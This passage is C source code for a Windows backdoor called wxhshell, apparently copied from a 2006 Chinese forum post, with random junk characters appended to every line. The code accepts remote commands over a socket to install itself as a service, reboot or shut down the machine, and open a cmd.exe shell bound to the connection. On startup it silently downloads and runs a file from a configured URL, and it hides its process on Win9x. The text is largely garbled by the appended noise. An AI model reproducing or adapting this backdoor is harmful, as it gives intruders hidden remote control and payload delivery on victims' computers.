  } &ru2&Sz  
  else { lS<T|:gz@  
@BCws )  
    switch(cmd[0]) { ~1e?9D  
  Z,~Bz@5`"  
  // 帮助 W  &wqN  
  case '?': {  peW4J<,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >a;0<Ui&Q  
    break; ;Z:zL^rvn  
  } M.B0)  
  // 安装 '?7?"v  
  case 'i': { rjsqXo:9  
    if(Install()) 'u"r^o?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7i(U?\A;.  
    else EVs.'Xg<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v&}+ps_W  
    break; ,au-g)IFZ  
    } 7nr+X Os  
  // 卸载 c*F'x-TH  
  case 'r': { 6,Aj5jG  
    if(Uninstall()) :)7{$OR&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $TU)O^c  
    else mx\b6w7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jm~(OLg  
    break; dC&{zNG  
    } -<e8\Z`  
  // 显示 wxhshell 所在路径 TNgf96) y  
  case 'p': { X{2))t%  
    char svExeFile[MAX_PATH]; r(qAe{  
    strcpy(svExeFile,"\n\r"); d3% 1 P)  
      strcat(svExeFile,ExeFile); E1'| ;}/  
        send(wsh,svExeFile,strlen(svExeFile),0); Th"0Cc)  
    break; }<G"w 5.<  
    } +-8u09-F  
  // 重启 p\xi5z  
  case 'b': { s^O>PEX&<I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E<=h6Ha  
    if(Boot(REBOOT)) C8^=7H EB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `{1` >5  
    else { (jQ]<q%P  
    closesocket(wsh); tzl`|UwF  
    ExitThread(0); #s"|8#  
    } AH?T}t2  
    break; NR98I7  
    } 5Z (1&  
  // 关机 gie.K1@|  
  case 'd': { VE_%/Fs,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LHy-y%?i  
    if(Boot(SHUTDOWN)) X0G Mly  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fK-tvP0}*  
    else { lawjGI  
    closesocket(wsh); e[5= ?p@|  
    ExitThread(0); XLG6f(B=F  
    } {~cG'S Y%  
    break; z 'iAj  
    } $inpiO|s  
  // 获取shell D)0pm?*5A  
  case 's': { %M? A>7b  
    CmdShell(wsh); 8|9JJ<G7  
    closesocket(wsh); c{X>i>l>  
    ExitThread(0); Ojea~Y]Sr  
    break; |[%CFm}+?  
  } Glz yFj  
  // 退出 MSef2|"P#  
  case 'x': { P1 \:hh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +Ndo$|XCy]  
    CloseIt(wsh); ;{@jj0h;  
    break; FPg5!O%  
    } Z.!tp  
  // 离开 ,ypD0Q   
  case 'q': { 4 VPJv>^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4JOw@/nE  
    closesocket(wsh); ZW+[f$X  
    WSACleanup(); <4DSk9/  
    exit(1); g)o?nAr  
    break; \a\J0&Z  
        } .tFMa:   
  } |{)SLvlJl  
  } :)cn&'l(S  
g 0=Q>TzY  
  // 提示信息 zYL</!6a[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PxqRb  
} |Wo_5|E  
  } C}})dL;(  
\1^qfw  
  return; N.j?:  
}  ~\0uy3%  
$s[DT!8N  
// shell模块句柄 #zRT  
int CmdShell(SOCKET sock) ,F4 _ps?(  
{ /CXrxeo  
STARTUPINFO si; PA=.)8  
ZeroMemory(&si,sizeof(si)); 9lT6fW`v1Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R78=im7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,{KjVv<  
PROCESS_INFORMATION ProcessInfo; *jAw  
char cmdline[]="cmd"; vocXk_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {{3n">s}:  
  return 0; w_*UFLMSqR  
} !;[cm|<E  
QH?}uX'x)G  
// 自身启动模式 muD7+rn?&  
int StartFromService(void) Hcts^zm2u  
{ T~*L [*F0  
typedef struct E`^?2dv+/  
{ GpW5)a  
  DWORD ExitStatus; o*d+W7l  
  DWORD PebBaseAddress; vai.w-}Z  
  DWORD AffinityMask; oH[4<K>  
  DWORD BasePriority; 8Gw0;Uu8D  
  ULONG UniqueProcessId; kO1.27D  
  ULONG InheritedFromUniqueProcessId; 4sj:%% UE  
}   PROCESS_BASIC_INFORMATION; ^CZ)!3qd1  
=f4v: j}'|  
PROCNTQSIP NtQueryInformationProcess; S6J7^'h  
yUZ;keQ_Tw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !A5UT-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $U{ \T4  
]+ \]2`?  
  HANDLE             hProcess; 5>o<! 0g  
  PROCESS_BASIC_INFORMATION pbi; 2E@ !  
upD 2vtU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,$lOQ7R1(  
  if(NULL == hInst ) return 0; U ?%1:-#F  
]i}3`e?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Q2P"1>KT/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 09_L^'`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1|+Z mo"  
]#UyYgPk  
  if (!NtQueryInformationProcess) return 0; 4bT21J37  
(l|:$%[0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ywPFL/@  
  if(!hProcess) return 0; OS X5S:XS  
%*>ee[^L ,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \~3g*V  
jz\LI  
  CloseHandle(hProcess); yNw YP%"y  
#i#4h<R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SBj9sFZ  
if(hProcess==NULL) return 0; U\_-GS;1  
=h`yc$ A(2  
HMODULE hMod; $m.e}`7SF!  
char procName[255]; > xc7Hr~  
unsigned long cbNeeded; Z+zx*(X  
>bKN$,Qen  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b~M3j&  
b r"4 7i  
  CloseHandle(hProcess); !,f#oCL  
rUb`_W@  
if(strstr(procName,"services")) return 1; // 以服务启动 NAy3Zd}  
^'UJ&UfX  
  return 0; // 注册表启动 B/*`u  
} r%*UU4xvB  
z}Qt6na]-  
// 主模块 i[gq8%  
int StartWxhshell(LPSTR lpCmdLine) sj)$o94=  
{ o6FSSKM  
  SOCKET wsl; l'_P]@*  
BOOL val=TRUE; Lyx \s;  
  int port=0; Y#'?3  
  struct sockaddr_in door; l P4A?J+Q  
jKOjw#N  
  if(wscfg.ws_autoins) Install(); y~&R(x~w  
uP'x{Pr)  
port=atoi(lpCmdLine); *3S ./ C}  
l.DC20bs  
if(port<=0) port=wscfg.ws_port; 7?@s.Sz|fV  
I?) .D?o  
  WSADATA data; C *\ =Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ab]`*h\U  
wKjL}1.k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {=(GY@yU/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p8%/T>hK  
  door.sin_family = AF_INET; W!$aK)]4u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tMWDKatb  
  door.sin_port = htons(port); JN{.-k4Ha  
g$++\%k&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i+ I%]  
closesocket(wsl); LuM[*_8  
return 1; r ek89.p  
} B( ]=I@L=W  
%;SOe9  
  if(listen(wsl,2) == INVALID_SOCKET) { <X7x  
closesocket(wsl); 6cCC+*V{  
return 1; ^Vl{IsY  
} =Q % F~  
  Wxhshell(wsl); dS7?[[pg9  
  WSACleanup(); D ^ mfWJS  
*x^W`i   
return 0; HG(J+ocn   
vOb=>  
} TFX*kk &R  
'USol<  
// 以NT服务方式启动 hOI| #(-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &E@8 z&  
{ ]fN\LY6p  
DWORD   status = 0; 5jj<sj!S  
  DWORD   specificError = 0xfffffff; dtK[H+  
pi>,>-Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t)Iu\bP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  V~V_+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [B}$U|V0  
  serviceStatus.dwWin32ExitCode     = 0; _z:7Dj#  
  serviceStatus.dwServiceSpecificExitCode = 0; p[E}:kak_-  
  serviceStatus.dwCheckPoint       = 0; -Y#YwBy;M  
  serviceStatus.dwWaitHint       = 0; LY}9$1G]  
/{eD##vhP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B~/:["zTh&  
  if (hServiceStatusHandle==0) return; 3BBw:)V  
ar-N4+!@  
status = GetLastError(); %3L4&W _T  
  if (status!=NO_ERROR) %P!6cyQS  
{ |hsg= LX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [.M<h^xrB  
    serviceStatus.dwCheckPoint       = 0; #nQZ/[|  
    serviceStatus.dwWaitHint       = 0; }9w?[hXW"  
    serviceStatus.dwWin32ExitCode     = status; ^Ge3"^x1  
    serviceStatus.dwServiceSpecificExitCode = specificError; -)biSU,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3$fzqFo  
    return; 6#sd"JvtQ  
  } Zt3"4d4  
;T!w$({V0z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M2UF3xD   
  serviceStatus.dwCheckPoint       = 0; jf_xm=n  
  serviceStatus.dwWaitHint       = 0;  .;ptgX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0PiD<*EA  
} +!dWQ=W  
Qh4@Nl#Ncf  
// 处理NT服务事件,比如:启动、停止 ~x:\xQti  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ks|qJ3;  
{ +Y7"!wYR>  
switch(fdwControl) Igowz7  
{ oPSucz&s  
case SERVICE_CONTROL_STOP: 9i hB;m'C)  
  serviceStatus.dwWin32ExitCode = 0; H_*;7/&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q*`1<9{H  
  serviceStatus.dwCheckPoint   = 0; 7(RtPL pZ  
  serviceStatus.dwWaitHint     = 0; #bxUI{*J  
  { *VJT]^_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jH+ddBVA  
  } Up:<NHJT  
  return; 2Zf} t  
case SERVICE_CONTROL_PAUSE: G}!dm0s$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Z74e>V%  
  break; _J'V5]=4  
case SERVICE_CONTROL_CONTINUE: :~K c"Pg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oD_n+95B  
  break; T$ <l<.Qd  
case SERVICE_CONTROL_INTERROGATE: q J)[2:.G  
  break; U?vG?{A  
}; T#ktC0W]h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `zQ2 i}Uju  
} TQXp9juK  
W{pyU \  
// 标准应用程序主函数 +;Yd<~!c Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <g/Z(<{wor  
{ zcF`Z {&+  
6[r-8_  
// 获取操作系统版本 x+?P/Ckg  
OsIsNt=GetOsVer(); Mf 7 Z5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ={HYwP;  
Lt\Wz'6Y  
  // 从命令行安装 5u(,g1s}UZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); : ,0F_["3  
#$vQT}  
  // 下载执行文件 R07 7eX  
if(wscfg.ws_downexe) { O$<m(~[S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K9{]v=#I  
  WinExec(wscfg.ws_filenam,SW_HIDE); *>m,7} L  
} \Y37wy4  
m tPmVze  
if(!OsIsNt) { cV=0)'&<`_  
// 如果时win9x,隐藏进程并且设置为注册表启动 O+8]y4%5  
HideProc(); u"WqI[IV  
StartWxhshell(lpCmdLine); "x;|li3;  
} 3aD\J_  
else 0l.\KF  
  if(StartFromService()) '/2u^&W  
  // 以服务方式启动 pDw^~5P  
  StartServiceCtrlDispatcher(DispatchTable); ,C4gA(')K  
else |wef[|@%  
  // 普通方式启动 |f9fq~'1e  
  StartWxhshell(lpCmdLine); hFLD2 <   
: `Nh}Ka0  
return 0; Bo)N<S_=^  
}
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只看该作者 1 发表于: 2006-10-10
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